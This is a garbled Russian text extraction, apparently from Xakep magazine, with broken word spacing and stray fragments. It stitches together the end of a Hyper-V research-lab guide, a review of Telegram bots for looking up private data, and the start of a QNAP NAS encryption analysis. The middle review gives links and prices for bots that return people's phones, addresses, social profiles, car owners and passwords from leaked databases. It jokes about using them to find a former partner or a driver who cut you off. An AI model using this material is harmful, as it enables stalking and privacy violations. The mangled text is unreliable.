 00000000`00767032 0f01c1          vmcall
 00000000`00767035 c3              ret
 00000000`00767036 90              nop
 00000000`00767037 90              nop

Что бы иметь воз можность исполь зовать экспор тиру емые фун кции 
и  ,  мож но  либо  динами чес ки  вычис лять  адре са  фун кций,  либо
соз дать  lib‐файл.  Рас смот рим  вто рой  вари ант.  Для  соз дания  def‐фай ла
исполь зуем вывод коман ды dumpbin:

winhv.sys
winhvr.sys

   dumpbin /exports winhv.sys

Windows Server 2016 и новее исполь зуют драй вер   для  root‐раз‐ 
дела,  таким обра зом def‐файл для драй вера, пред назна чен ного для работы
на  хост‐сер вере,  необ ходимо  фор мировать  на  осно ве  это го  фай ла.
Для  сбор ки  64‐бит ного  драй вера  прав ки  вно сить  не  нуж но. Фор мирова ние
lib‐фай ла выпол няет ся сле дующей коман дой (для x86):

winhvr.sys

     lib.exe /def:winhv.def /OUT:winhv.lib /machine:x86

Для x64:

     lib.exe /def:winhvr.def /OUT:winhvr.lib /machine:x64

Пе ред выпол нени ем команд не забудь запус тить Visual Studio native tools. Мы
можем най ти таб лицу гипер вызовов в фай ле hvxi64.exe, 

. Скрипт соз дает таб лицу наподо бие показан ной на иллюс тра ции
ниже.

ис поль зуя спе циаль‐ 
ный скрипт

При мер таб лицы, соз дава емой скрип том
CreatemVmcallHandlersTable2019.py

Мы  можем  отоб разить  зна чения  VMCS  полей  внут ри  hvix64.exe, 
.  Скрипт  необ ходимо  запус тить  в  IDA  PRO  для  фай ла

  при  под клю чен ной  отла доч ной  сес сии  к  гипер визору.  Скрипт
фор миру ет и вызыва ет про цеду ру

ис поль зуя
скрипт  display‐vmcs.py
hvix64.exe

 vmread      rax, rax
jmp         ‐3

Он  счи тыва ет  зна чение  регис тра  rax  и  отоб ража ет  его  в  кон соли  IDA  PRO.
Для срав нения вот некото рые зна чения VMCS.

Нап ример, ты можешь уви деть, что гос тевой раз дел гипер визора обра баты‐ 
вает весь поток информа ции, про ходя щей через пор ты вво да‐вывода (I/O ex‐
iting Unconditional),  а для  root‐раз дела выпол няет ся перех ват  толь ко некото‐ 
рых пор тов (исполь зует ся I/O bitmaps).

 

 

 

WINDBG>!db 0x101001000 L1300

 

 
 

 
 

#101001000 00 00 00 00 03 00 00 00‐00 00 00 00 10 00 00 00 
................
#101001010 00 00 00 00 03 00 00 00‐00 00 00 00 00 00 00 00 
................
...
#101001080 00 00 00 00 00 00 00 00‐20 00 00 00 00 00 00 00 ........ 
.......
...
#101001190 00 00 00 00 00 00 00 00‐00 00 00 00 00 00 00 f1 
................

ВЫВОД
В статье было опи сано соз дание стен да для иссле дова ния Hyper‐V, а  так же
очень крат ко опи саны некото рые нюан сы работы гипер визора. Наде юсь, эта
информа ция при годит ся начина ющим иссле дова телям безопас ности  гипер‐ 
визора ком пании Microsoft.

WWW

  с  откры тым  исходным
кодом для иссле дова ний Hyper‐V

•Ути литы  и  инс тру мен ты

 (скрип ты, упо мяну тые в статье,
и сбор ка Radare2 для под клю чения к Hyper‐V)

•Фай лы к статье

https://twitter.com/zodiacon?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor
https://github.com/zodiacon
https://github.com/CSS-Windows/WindowsDiag
https://github.com/gerhart01/Hyper-V-scripts/blob/master/CreatemVmcallHandlersTable2019.py
https://github.com/gerhart01/Hyper-V-scripts/blob/master/display-vmcs.py
https://github.com/gerhart01/Hyper-V-Internals/blob/master/HyperResearchesHistory.md
https://yadi.sk/d/-JknQ9jVOWc5sg
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ПРИВАТНОСТЬ

Не дав ние  разоб лачитель ные  пуб ликации
извес тно го  оппо зици оне ра  Алек сея
Наваль ного вско лых нули вол ну небыва лого
инте реса общес твен ности  к  тенево му биз‐ 
несу,  свя зан ному  с  услу гами  про бива.  То,
что  поч ти  любые  дан ные  у  нас  про дают ся
и  покупа ются,  —  не  сек рет,  но,  говорят,
кое‐что мож но разуз нать и вов се бес плат но
у ботов в «Телег раме». Так ли это и о каких
ботах речь, мы сей час выяс ним.

WARNING

Не закон ный  сбор  пер сональ ной  информа ции  —
это  наруше ние  закона  «О пер сональ ных  дан ных»
и  дру гих  законов  РФ.  Так же  подоб ные  дей ствия
могут  обра зовать  сос тав  прес тупле ния
по статье 137 УК РФ «Наруше ние неп рикос новен‐ 
ности  час тной  жиз ни».  Ни  автор,  ни  редак ция
не  несут  ответс твен ности  за  любые  пос ледс твия
исполь зования  при веден ных  в  этой  пуб ликации
све дений,  которые  пред став лены  здесь  исклю‐ 
читель но ради информи рова ния читате ля.

Боль шинс тво  ботов  Telegram,  выпол няющих  по  зап росу  поль зовате ля  поиск
и выдачу пер сональ ных дан ных, работа ют по схе ме OSINT, то есть опи рают ся
на  откры тые  источни ки,  для  чего  экс плу ати руют  API  раз личных  служб
и интернет‐ресур сов. Дру гие исполь зуют сли тые базы дан ных, но такие сер‐ 
висы,  во‐пер вых,  не  всег да  фун кци они руют  ста биль но,  а  во‐вто рых,  испы‐ 
тыва ют  проб лемы  с  акту али заци ей  информа ции:  любая  утек шая  в  паб лик
база  со  вре менем  уста рева ет  и,  разуме ется,  не  обновля ется. Монети зиру‐ 
ются  подоб ные  боты  либо  за  счет  донатов,  либо  за  счет  рек ламы,  или  же
адми ны  огра ничи вают  количес тво  бес плат ных  зап росов,  пос ле  чего  бот
начина ет про сить денег за каж дую сле дующую выдачу. Иног да — если адми‐ 
ны ну очень жад ные — исполь зуют ся все методы сра зу.

Не все боты оди нако во удоб ны в исполь зовании

Лю ди ищут пер сональ ную информа цию по раз ным при чинам. Кто‐то пыта ется
таким  обра зом  отыс кать  сво их    дол жни ков  или  сим патич ную
сосед ку  по  подъ езду  с  боль шими  и  кра сивы ми  си…  ними  гла зами.  Кто‐то
разыс кива ет пря мые кон такты бло геров или вла дель цев паб ликов либо пыта‐ 
ется  из  чис того  любопытс тва  пос мотреть  пос ты  в  зак рытых  про филях  соц‐ 
сетей  .

от равите лей

сво ей быв шей
Еще  мож но  по  номеру  машины  отыс кать  мобиль ный  телефон  под резав‐ 

шего  тебя  на  дороге  водят ла,  поз вонить  ему,  наз вать  по  име ни‐отчес тву
и  веж ливо  поп росить  объ ясне ний.  Некото рые  «гон щики»  в  такие  момен ты
почему‐то  нем ного  сму щают ся.  В  общем,  при чины  могут  быть  раз ными,
а  средс тво  одно:  условно‐бес плат ные  Telegram‐боты  или  услу ги  про бива,
до сих пор широко рек ламиру емые в дар кне те.

INFO

О том, как и за сколь ко пре дос тавля ют в дар кне те
услу ги  про бива,  читай  в  статье  «

».

Про бей  меня
пол ностью! Кто, как и за сколь ко про бива ет пер‐ 
сональ ные дан ные в Рос сии

Оче вид но, что не все боты оди нако во полез ны. Некото рые про сят денег, но в
ответ  либо  не  находят  акту аль ную  информа цию,  либо  отда ют  откро вен ную
туф ту. Дру гие вро де бы работа ют, но нас толь ко стран но, что дос товер ность
пред лага емых ботом дан ных оста ется сом нитель ной. Что бы ты не тра тил дра‐ 
гоцен ное вре мя и день ги на поиск жем чужин в куче орга ничес ких удоб рений,
твой любимый жур нал про тес тировал наибо лее популяр ные боты в Telegram
и пря мо сей час поделит ся с тобой получен ными резуль татами. Пог нали!

GET CONTACT
• https://t.me/get_kontakt_bot

Тот самый леген дарный бот, сыг равший немало важ ную роль в нашумев шем
рас сле дова нии.  Бот  показы вает,  как  имен но  записан  номер  мобиль ного
телефо на  в  адресной  кни ге  дру гих  або нен тов.  Информа цию  железя ка  чер‐ 
пает с мобиль ных устрой ств або нен тов, уста новив ших при ложе ние Get Con‐
tact, поэто му, если на телефо нах тво их дру зей эта прог рамма не уста нов лена,
никаких дан ных  ты не получишь. В день бот поз воля ет отпра вить не боль ше
трех телефон ных номеров.

В моем слу чае на все без исклю чения зап росы бот выдавал один и тот же
ответ:  .  При  этом  поиск  по  име ни  бота  в  «Телег‐ 
раме» выда ет пару десят ков резуль татов, отли чающих ся друг от дру га одной
или  парой  букв  (get_kontact_bott,  get_kontakts_bot  и  так  далее)  —  видимо,
на вол не воз росшей популяр ности про екта чис ло жела ющих поиметь с это го
про фит тоже рез ко уве личи лось. Некото рые служ бы, вро де @Getcontact_offi‐
cial_bot, с ходу тре буют зап латить 200 руб лей за под клю чение к сер вису. При‐ 
том ни один из этих ботов, в общем‐то, не работа ет.

Result:  Nothing  found

Не  знаю,  с  чем имен но  свя зано  это  досад ное  явле ние — с  наруше нием
в логике сер виса или с вне зап ным нап лывом кли ентов, но поль зовать ся сей‐ 
час Telegram‐ботом Get Contact — бес полез ная тра та вре мени.

«ГЛАЗ БОГА»
• https://t.me/EyeGodsBot

Еще  один  популяр ный  бот,  упо минав ший ся  в  ряде  недав них  жур налист ских
пуб ликаций. Бот обла дает доволь но‐таки обширным набором фун кций: поиск
по име ни в прос том  тек сто вом фор мате, по номеру авто моби ля, по номеру
телефо на,  по  адре су  элек трон ной  поч ты,  по  наз ванию  юри дичес кого  лица
или ИНН.

Telegram‐бот «Глаз Бога»

Для  отправ ки  команд  бот  тре бует  под писать ся  на  собс твен ный  канал,
но даже это не гаран тиру ет резуль тата. По телефо ну «Глаз Бога» выда ет наз‐ 
вание опе рато ра и его реги он (видимо, для тех, кто не уме ет опре делять эти
дан ные  на  глаз),  воз можное имя  (я  ввел  нес коль ко  телефон ных  номеров —
име на  сов пали).  Еще  он  может  най ти  поч товые  адре са  (веро ятнее  все го,
по  базе  адми нис тра торов  доменов),  стра ницу  «ВКон такте»,  акка унт  «Телег‐ 
рам»,  WhatsApp,  чис ло  инте ресо вав шихся  пер сонажем  до  тебя.  Но  эту
информа цию  бот  пре дос тавит  за  30  руб лей.  То  же  самое  каса ется  поис ка
по  номеру  авто моби ля:  бес плат но  бот  показы вает  толь ко  реги он  (который
мож но  опре делить  и  так),  а  за  трид цатку  пред лага ет  ска чать  отчет  «Авто‐ 
кода». При этом дан ные об авто моби ле по его номеру при желании нет рудно
отыс кать в этих ваших интерне тах бес плат но.

Ес ли  ты  вве дешь  адрес  элек трон ной  поч ты,  бот  любез но  покажет  тебе
логин  (до  сим вола  )  и  домен  (пос ле  ) —  это  осо бо  цен ная  информа ция!
Так же  тебе  пред ложат  купить  адрес  при вязан ной  к  это му  мылу  стра нич ки
«ВКон такте» и свя зан ные с email пароли из какой‐то сли той базы. По име ни
бот ищет толь ко номер телефо на в задан ном реги оне, находит неп равиль ный
и для его прос мотра пред лага ет купить под писку.

@ @

В общем и целом поль за от это го бота показа лась мне весь ма сом нитель‐ 
ной: инфу, которую «Глаз Бога» отда ет бес плат но, мож но при желании нагуг‐ 
лить и без него, а плат ная информа ция скуд на и не всег да дос товер на.

AVINFO
• https://t.me/AVinfoBot

Бот для про вер ки дан ных об исто рии авто моби ля по гос номеру, VIN, номеру
ПТС,  ФИО  или  телефо ну  вла дель ца,  что  теоре тичес ки  поз воля ет  выявить
«переку пов».  С  его  помощью  нет рудно  уста новить  собс твен ника  тран‐ 
спортно го средс тва, под перше го твое вед ро на сто янке у супер марке та. Воз‐ 
можнос ти  у  бота  доволь но  широкие,  а  цена  отно ситель но  невысо кая:  один
отчет сто ит 150 руб лей, но мож но купить под писку.

Telegram‐бот AVinfo

По  номеру  телефо на  мож но  най ти  про филь  «ВКон такте»  и  опуб ликован ные
объ явле ния  о  про даже  машин,  что  теоре тичес ки  поз воля ет  вычис лить
перекуп щиков. А по гос номеру тран спортно го средс тва или VIN бот фор миру‐ 
ет и пред лага ет купить отчет. В него вхо дят пол ные све дения об авто моби ле,
его собс твен никах, про беге, всех ранее исполь зован ных гос номерах, дан ные
об  огра ниче ниях,  розыс ке,  наличии  стра хов ки  и  ДТП,  о  работе  в  так си,
о судеб ных решени ях в отно шении машины и име ющих ся штра фах. В целом
информа ция  край не  полез ная,  если  ты  собира ешь ся  при купить  себе  тач ло,
что бы с ветер ком катать под ругу по ули цам ноч ной Мос квы, и при этом жела‐ 
ешь  узнать,  не  соб рана  ли  эта  лас точка  из  двух  битых  ведер  где‐нибудь
в Дагес тане. Но для прос того поис ка све дений о собс твен нике авто этот объ‐ 
ем дан ных явно излишний.

Ес ли  зай ти  на  канал  бота,  но  не  заказы вать  у  него  плат ных  услуг,  через
некото рое  вре мя  он  пред ложит  получить  один  тес товый  отчет  на  халяву.  Я
выб рал  отчет  по  номеру  телефо на,  в  котором  бот  обна ружил…  толь ко
зарегис три рован ную на  этот  номер левую стра нич ку  «ВКон такте». Объ явле‐ 
ний на «Ави то» и «Юле» он не нашел (веро ятно, потому, что мои акка унты при‐ 
вяза ны к ано ним ным сим кам), авто мобиль — не най ден (он зарегис три рован
на дру гого челове ка, лол), в базе нед вижимос ти так же пус то. В общем, дан‐ 
ные  по  гос номеру машины AVinfo, может,  и  спо собен  соб рать,  а  вот  с  про‐ 
бивом номеров мобиль ников дела у него явно обсто ят неваж но.

SMARTSEARCHBOT
• https://t.me/smart_searchbot

До воль но инте рес ный бот, поз воля ющий искать по номеру телефо на (выда ет
имя поль зовате ля, реги он, город, email, стра нич ку во «ВКон такти ке», ник и ID
в «Телег раме», если таковые есть), по email (воз вра щает телефон, имя, стра‐ 
ницу «ВК» и город), по номеру тран спортно го средс тва, нику или име ни в соц‐ 
сетях, а так же по фотог рафии — бот ищет похожие.

Бес плат но бот поз воля ет выпол нить толь ко два зап роса, пос ле чего про‐ 
сит опла тить под писку: суточ ная сто ит в рай оне 67 руб лей, что, в общем‐то,
недоро го.  Я  решил  пот ратить  на  бла гое  дело  столь  нес кром ную  сум му
и потес тить бот — исклю читель но в науч ных целях.

По  нес коль ким  вве ден ным мною авто мобиль ным номерам бот  не  нашел
вооб ще ничего. С номера ми мобиль ника дела обсто ят получ ше: информа ция
находит ся,  и  вро де  как  даже  более‐менее  релеван тная,  но  по  нес коль ким
ука зан ным мною номерам бот выдал толь ко реги он опе рато ра и имя юзе ра,
видимо  из  чьей‐то  запис ной  книж ки,  —  никаких  допол нитель ных  све дений
обна ружить не уда лось.

По  фамилии,  име ни  и  отчес тву  бот  выда ет  наз вание  орга низа ции,
с  которой  может  быть  свя зано  это  лицо,  непол ный  адрес  (город,  ули ца)
и  ИНН:  видимо,  поиск  выпол няет ся  по  базе  юри дичес ких  лиц  и  ИП.  Часть
резуль татов  содер жат  толь ко  номер  мобиль ного  телефо на.  Если  фамилия
рас простра нен ная,  резуль татов  может  най тись  мно го,  поэто му  при дет ся
уточ нять зап рос ком бинаци ей ФИО и даты рож дения или ФИО и города про‐ 
жива ния.  Тем  не  менее  мои  экспе римен ты  с  ботом  показа ли,  что  базы  он
исполь зует ста рые, как иско паемые экс кре мен ты динозав ра: все най ден ные
им  мобиль ные  номера  из  скор млен ного  мною  тес тового  пула  ФИО  дав‐ 
ным‐дав но про тух ли.

До воль но пол ные све дения бот выда ет по email — тут и стра нич ка в «ВК»,
и при вязан ный к ней номер мобиль ного, и пол ное имя, ука зан ное в про филе
поль зовате ля.  Любопыт ный  резуль тат  мож но  получить  по  зап росу  «исто рия
ВК». Даже если про филь юзе ра зак рытый, SmartSearchBot выкачи вает отту да
нес коль ко  фотог рафий  и  воз вра щает  информа цию  за  нес коль ко  минув ших
лет.  Эта  фун кция  может  ока зать ся  полез ной,  если  юзер  уда лил  и  почис тил
свой про филь «ВКон такте» — по край ней мере, бот поможет узнать его дату
рож дения, мес то житель ства и работы (если они были ука заны).

Telegram‐бот SmartSearchBot

На пос ледок я решил потес тить поиск по фотог рафии в соц сетях — бот поз‐ 
воля ет выпол нять до трех таких зап росов в сут ки. На паре заг ружен ных мною
фоток  SmartSearchBot  почему‐то  обна ружил  нес коль ко  лиц  (кля нусь,  там
было толь ко одно!), а на дру гих, где человек раз вернут в про филь, не нашел
лица  вооб ще.  Методом  перебо ра  мне  все‐таки  уда лось  скор мить  ему
неболь шой набор фотог рафий. И в целом бот со сво ей задачей спра вил ся —
прав да, для это го необ ходимо,  что бы лицо на фото было анфас, а иско мый
юзер сох ранил в сво ем про филе «ВКон такте» имен но эту или край не похожую
фотог рафию.

В  целом  я  бы  оце нил  работу  Telegram‐бота  SmartSearchBot  на  тро ечку
с плю сом. Вро де как и ищет, и сре ди най ден ной информа ции даже попада‐ 
ется  полез ная,  но  боль ше  полови ны  резуль татов  выдачи  —  откро вен ный
шлак, который при дет ся отсорти ровы вать вруч ную.

QUICK_OSINT_BOT
• https://t.me/Quick_OSINT_bot

По  сво им  воз можнос тям  бот  в  целом  похож  на  SmartSearchBot —  он  спо‐ 
собен  искать  по  телефо ну,  адре су  элек трон ной  поч ты,  гос номеру  или  VIN
авто моби ля, номеру пас порта, СНИЛС или ИНН. Инте рес ная осо бен ность —
поиск по паролю: бот ищет в сли тых базах адрес email, которо му может соот‐ 
ветс тво вать задан ный пароль.

Telegram‐бот Quick_OSINT_bot

Тест  показал,  что  номер  мобиль ника  по  гос номеру  авто  Quick_OSINT_bot
находит  неп равиль но,  по  телефон ному  номеру  выда ет  в  основном  реги он
опе рато ра и имя, под которым або нент записан в телефон ных кни гах, а так же
имя, которым он под писыва ется на дос ках бес плат ных объ явле ний.

Весь ма  поз наватель ные  резуль таты  получа ются  при  поис ке  по  адре су
email: бот воз вра щает учет ки с таким адре сом в раз личных соц сетях, ник ней‐ 
мы, номер мобиль ного, имя и фамилию  (не всег да кор рек тно), а  так же свя‐ 
зан ные с этим мылом пароли из сли тых баз.

Бот  поз воля ет  выпол нить  нес коль ко  бес плат ных  зап росов  в  сут ки,  пос ле
чего  начина ет  клян чить  денег:  0,1  дол лара  за  каж дый  отчет  или  пред лага ет
офор мить под писку.

HIMERA
• https://t.me/HimeraSearch_bot

Бот, по слу хам, под клю чен  к сис теме про вер ки  кон тра ген тов Unirate24, и он
плат ный.  Самый  дешевый  тариф  с  огра ниче нием  на  количес тво  поис ковых
зап росов  сто ит  1199  руб лей.  Бот  поз воля ет  искать  информа цию  по  ФИО,
номеру  телефо на,  номеру  авто моби ля,  адре су  элек трон ной  поч ты,  а  так же
дан ным  юри дичес кого  лица.  Най ти  он  может  све дения  о  про пис ке  граж‐ 
данина, записи о наруше нии им закона, дан ные о родс твен никах.

Го ворят,  этот  Telegram‐бот  неп лохо  справ ляет ся  с  поис ком  по  Мос кве
и  области,  а  вот  с  реги она ми  могут  воз никнуть  проб лемы:  там  находит ся
не все и не всег да. Зна читель ная часть инфы по юрли цам есть в сво бод ном
дос тупе.  Но  в  целом  бот  может  быть  полезен  для  про вер ки  кон тра ген тов,
потен циаль ных  деловых  пар тне ров  или,  ска жем,  при  най ме  мут ного  кан‐ 
дидата на работу в золотох ранили ще тво его лич ного бан ка.

TELESINT
• https://t.me/telesint_bot

Бес плат ный  бот,  поз воля ющий  най ти  по  юзер ней му,  в  каких  груп пах
в «Телеге» сос тоит тот или иной поль зователь. Теоре тичес ки эта информа ция
может  рас ска зать  тебе  что‐то  о    инте ресах  и  увле чени ях
инте ресу юще го тебя пер сонажа.

мо раль ном  обли ке

Зна читель ный недос таток это го бота зак люча ется в том, что он показы вает
учас тие юзе ра толь ко в откры тых пуб личных груп пах, а вот зак рытые паб лики
(то есть самое инте рес ное!) оста ются вне его поля зре ния.

«АРХАНГЕЛ»
• https://t.me/AngelProbiv_Bot

Бот, активно рек ламиро вав ший ся в сен тябре 2020 года на хакер ских бор дах.
Говорят,  он  под клю чен  к  информа цион но‐ана лити чес кой  сис теме  Solaris,
исполь зуемой про бив щиками‐про фес сиона лами. База поз воля ет искать дан‐ 
ные по ФИО, серии и номеру пас порта, фамилии и году рож дения, по ИНН,
СНИЛС, по адре су, номеру телефо на или авто моби ля.

Сто имость  одно го  зап роса  «Арханге лу»  до  недав них  пор  сос тавля‐ 
ла 250 руб лей, но пос ле извес тных событий бот отклю чили, и сей час он выда‐ 
ет  сооб щение о  «вре мен ных  тех ничес ких работах». Оста ется наде ять ся,  что
проб лемы там дей стви тель но вре мен ные.

GETFB
• https://t.me/getfb_bot

Бот  работа ет  очень  прос то:  по  вве ден ному  номеру  мобиль ного  телефо на
в  меж дународ ном  фор мате  (+7XXXAAABBCC)  GetFB  находит  зарегис три‐ 
рован ную на этот  телефон стра нич ку  в Facebook. Денег  за свою работу бот
не про сит и работа ет отменно.

MAILSEARCHBOT
• https://t.me/mailsearchbot

Бот  ищет  по  сли тым базам  пароли,  соот ветс тву ющие  адре сам  элек трон ной
поч ты, логинам или номеру телефо на. Бес плат но бот показы вает толь ко часть
обна ружен ных паролей, а за пол ной вер сией отправ ляет на сто рон ний сайт,
где посети телю с ходу пред лага ют опла тить под писку.

ИТОГИ
Мои  экспе римен ты  показа ли,  что  боты  для  поис ка  пер сональ ных  дан ных
в целом могут быть полез ны, но с неболь шими ого вор ками:

боль шинс тво  из  них — плат ные,  и  качес тво  поис ка  информа ции  там  все
рав но сред нее, выдачу при дет ся верифи циро вать и переби рать вруч ную;

•

есть пара бес плат ных вари антов с огра ниче нием на количес тво зап росов,
но в выдаче при сутс тву ет высокий про цент шла ка.

•

Да же  нес мотря  на  то,  что  боль шинс тво  ботов  исполь зует  одни  и  те  же
источни ки  информа ции,  для  уточ нения  дан ных  луч ше  при менять  сра зу  нес‐ 
коль ко инс тру мен тов — это повысит релеван тность поис ка и качес тво резуль‐ 
татов.  Тем  не  менее  для  серь езно го  рас сле дова ния  без  услуг  про фес‐ 
сиональ ных про бивал все рав но не обой тись: они име ют дос туп к акту аль ным
слу жеб ным базам раз личных государс твен ных и ком мерчес ких орга низа ций,
вер нее,  связь  с  сот рудни ками,  которые,  в  свою оче редь, могут  обра щать ся
к этим базам.

Бо ты могут под ска зать нап равле ние поис ка и рас ширить набор исходных
дан ных,  но  в  качес тве  пол ноцен ного  инс тру мен та  для  сбо ра  пер сональ ных
дан ных они вряд ли сго дят ся.

https://xakep.ru/2020/10/09/personal-data/
https://t.me/get_kontakt_bot
https://t.me/EyeGodsBot
https://t.me/AVinfoBot
https://t.me/smart_searchbot
https://t.me/Quick_OSINT_bot
https://t.me/HimeraSearch_bot
https://t.me/telesint_bot
https://t.me/AngelProbiv_Bot
https://t.me/getfb_bot
https://t.me/mailsearchbot
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ПРИВАТНОСТЬ

В  прош лом  году  я  про вел  под робное
иссле дова ние  тех нологии  шиф рования,
исполь зующей ся  в  сетевых  хра нили щах
Synology.  Единс твен ный  слой  защиты
в  виде  шиф рования  сетевых  папок
не устро ил меня ни пред лага емым уров нем
ком форта,  ни  обес печива емым  уров нем
безопас ности.  «Хорошо  бы, —  думал  я, —
если бы в NAS мож но было вклю чить шиф‐ 
рование  дис ков  на  аппа рат ном  уров не,
а  поверх  соз дать  зашиф рован ный  том,
а  пап ки,  так  и  быть,  зашиф ровать  тем,  что
есть».  Похоже,  меч ты  сбы вают ся  —  но  не
сов сем так, как хотелось бы.

Ры нок «домаш них» сетевых хра нилищ насыщен пред ложени ями. Для тех, кого
пуга ет само сло во NAS, — линей ка WD My Cloud Home, фай лы в которой хра‐ 
нят ся в виде порезан ных на кусоч ки бло бов в базе дан ных, а соз дать сетевую
пап ку и орга низо вать стри минг на умный телеви зор — задача, штат ными спо‐ 
соба ми  не  реша емая.  Более  кон серва тив ные  поль зовате ли,  энту зиас ты
и сег мент SOHO могут выбирать из пред ложений Synology, QNAP и Asustor.

В моделях  всех  про изво дите лей,  за  исклю чени ем  «домаш них»  устрой ств
Western Digital, под держи вает ся шиф рование дан ных по алго рит му AES‐256.
Нес мотря на исполь зование одно го и того же алго рит ма, детали реали зации
у  раз ных  про изво дите лей  могут  отли чать ся  нас толь ко,  что  даже  срав нивать
меж ду  собой  раз личные  схе мы  получа ется  с  боль шим  тру дом.  Так,  в  ком‐ 
пании  Synology  сде лали  став ку  на  шиф рование  сетевых  папок —  eCryptFS.
В QNAP пош ли дру гим путем.

АРХИТЕКТУРА ЗАЩИТЫ
В  сов ремен ных  моделях  QNAP,  работа ющих  под  управле нием  акту аль ных
вер сий  QTS,  может  исполь зовать ся  не  один,  а  целых  три  вари анта  шиф‐ 
рования, из которых мож но при менить хоть любой на выбор, хоть все вмес те
в любых ком бинаци ях. Перечис лю дос тупные методы:
1. Self‐encrypting drive (SED). Шиф рование SED выпол няет непос редс твен но
кон трол лер  жес тко го  дис ка —  при  усло вии  под дер жки  со  сто роны  про‐ 
шив ки.  Далеко  не  все  модели  дис ков  под держи вают  SED;  про ще  все го
получить  такой диск,  разоб рав  внеш ний накопи тель WD My Book  (толь ко
одно дис ковые модели; в двух диско вых шиф рование реали зова но на уров‐ 
не кон трол лера USB). В NAS от QNAP, в тех моделях, где под держи вает ся
SED,  вклю чить  защиту  мож но  как  для  отдель ного  дис ка,  так  и  для  все го
пула — орга низо вав, таким обра зом, пол ностью зашиф рован ный SED пул
хра нения.  Шиф рование  SED  —  отличный  «нулевой»  слой  шиф рования,
защища ющий дан ные, нап ример при отправ ке дис ков в гаран тий ный сер‐ 
вис.

2. Шиф рование  тома.  Тра дици онно  имен но  этот  тип  шиф рования  исполь‐ 
зовал ся во всех устрой ствах QNAP. Дан ный тип шиф рования — прог рам‐ 
мный;  его  вклю чение  нес коль ко  сни жает  про изво дитель ность  дис ковой
под систе мы.  Впро чем,  раз ница  не  кри тич на.  Шиф рование  тома  может
защищать как тома, рас положен ные на кон крет ном дис ке, так и мно годис‐ 
ковые  тома,  рас положен ные  в  прос транс тве  хра нения  объ еди нения
физичес ких жес тких дис ков.

3. Шиф рование  сетевых  папок.  Этот  тип  шиф рования  нам  уже  зна ком
по  иссле дова нию  шиф рования  Synology.  В  NAS  от  QNAP  дан ный  тип
защиты  появил ся  срав нитель но  недав но,  а  соз давать  зашиф рован ные
пап ки  на  зашиф рован ных  томах  ста ло  воз можно  и  вов се  бук валь но
на  днях.  Неуди витель но,  что  реали зация  от  QNAP  отста ет  от  ана лога
в Synology DSM по час ти хра нения, управле ния и защиты депони рован ных
клю чей.

ШИФРОВАНИЕ SED: ФИЗИЧЕСКИЙ, ИЛИ «НУЛЕВОЙ», УРОВЕНЬ
ЗАЩИТЫ
Шиф рование по методу self‐encrypting drive — SED — воз можно при исполь‐ 
зовании спе цифи чес ких моделей дис ков, шиф рование которых реали зова но
аппа рат но  в  рам ках  кон трол лера  и  под держи вает ся  про шив кой.  Пос ледняя
ремар ка име ет зна чение: подав ляющее боль шинс тво сов ремен ных кон трол‐ 
леров  обла дает  воз можностью  аппа рат ного  шиф рования,  но  воз можность
эта акти виру ется лишь в моделях, пред назна чен ных для спе цифи чес ких при‐ 
мене ний. Эти  при мене ния  далеко  не  всег да  под разуме вают  исполь зование
в  дата‐цен трах.  К  при меру,  популяр ные  внеш ние  дис ки  WD  My  Cloud  пос‐ 
тавля ются с дис ками, в которых фун кция SED акти виро вана.

К сожале нию, сво бод ного дис ка с SED для экспе римен тов у меня не наш‐ 
лось, поэто му про тес тировать работу фун кции в NAS от QNAP я не смог.

Ин терес ный момент: шиф рование SED в NAS от QNAP мож но исполь зовать
для  соз дания  пол ностью  зашиф рован ных  мно годис ковых  пулов  хра нения.
На  таком  зашиф рован ном  пуле  хра нения  мож но  затем  соз дать  обыч ный
или зашиф рован ный логичес кий раз дел.

Сог ласно  докумен тации,  в QTS  сущес тву ет  воз можность  сох ранить  ключ
шиф рования  для  авто мати чес кого  мон тирова ния  пула  SED  при  заг рузке
устрой ства.  При  сох ранении  клю ча  необ ходимо  понимать,  что  оно  гро зит
несан кци они рован ным  дос тупом  к  дан ным,  если  у  зло умыш ленни ка  будет
физичес кий дос туп к NAS.

ШИФРОВАНИЕ ТОМА
В QNAP впер вые была реали зова на имен но защита на уров не тома. Этот тип
защиты дос тупен для боль шинс тва накопи телей QNAP, как тех, что осна щены
про цес сорами Intel, так и осно ван ных на архи тек туре ARM.

За шиф рован ный том мож но соз дать в виде ста тич ного раз дела или в виде
раз дела  поверх  пула  хра нения  (в  том  чис ле  зашиф рован ного  SED).  Шиф‐ 
рование  тома  —  прек расный  пер вый  слой  шиф рования,  который  работа ет
на  любых  дис ках,  даже  тех,  которые  не  под держи вают  SED.  Обратная  сто‐ 
рона  —  ско рость:  при  исполь зовании  шиф рования  тома  наб люда ется
неболь шая  потеря  про изво дитель нос ти,  а  вре мя,  тре бующееся  накопи телю
для любых опе раций с зашиф рован ным раз делом, исчисля ется в минутах.

Основные концепции
Шиф рование тома реали зова но на осно ве шиф ра AES‐256 при помощи стан‐ 
дар тно го  механиз ма  cryptsetup  (LUKS)  с  одним  исклю чени ем:  пароль  поль‐ 
зовате ля  пре обра зует ся  в  крип тогра фичес кий  ключ  ути литой  storage_util
собс твен ной раз работ ки QNAP. Соот ветс твен но, что бы смон тировать зашиф‐ 
рован ный  раз дел  за  пре дела ми  NAS  от  QNAP,  необ ходимо  про вес ти  пре‐ 
обра зова ние,  вос поль зовав шись  сов мести мым  NAS  от  QNAP  (это  не  обя‐ 
затель но  дол жно  быть  то же  устрой ство,  на  котором был  соз дан  том). Нас‐ 
коль ко мне извес тно, экви вален та этой ути лите в Linux  .не сущес тву ет

Ре али зация:  cryptsetup  (LUKS);  ути лита  собс твен ной  раз работ ки  (stor‐
age_util) для пре обра зова ния пароля в ключ.

•

Шиф рование тома с дан ными: нет. Зашиф ровать мож но толь ко новый том
при его соз дании.

•

Рас шифров ка тома с дан ными: нет. Мож но лишь уда лить том и соз дать его
заново.

•

Сме на или отзыв ском про мети рован ного пароля: да. Пароль мож но сме‐ 
нить в любой момент. Это дол го (минут пять), но воз можно.

•

Ключ  шиф рования:  пароль  (пре обра зовы вает ся  собс твен ной  ути литой
от QNAP) или файл с клю чом раз мером 256 байт.

•

По тен циаль ные уяз вимос ти: см. раз дел «Сох ранение клю чей».•

За шиф рован ный том мож но заб локиро вать, в резуль тате чего том будет раз‐ 
монти рован.  Это  тоже  занима ет  доволь но  мно го  вре мени  (при мер но  пять
минут на нашей тес товой сис теме QNAP TS‐453Be). Веро ятно, с точ ки зре ния
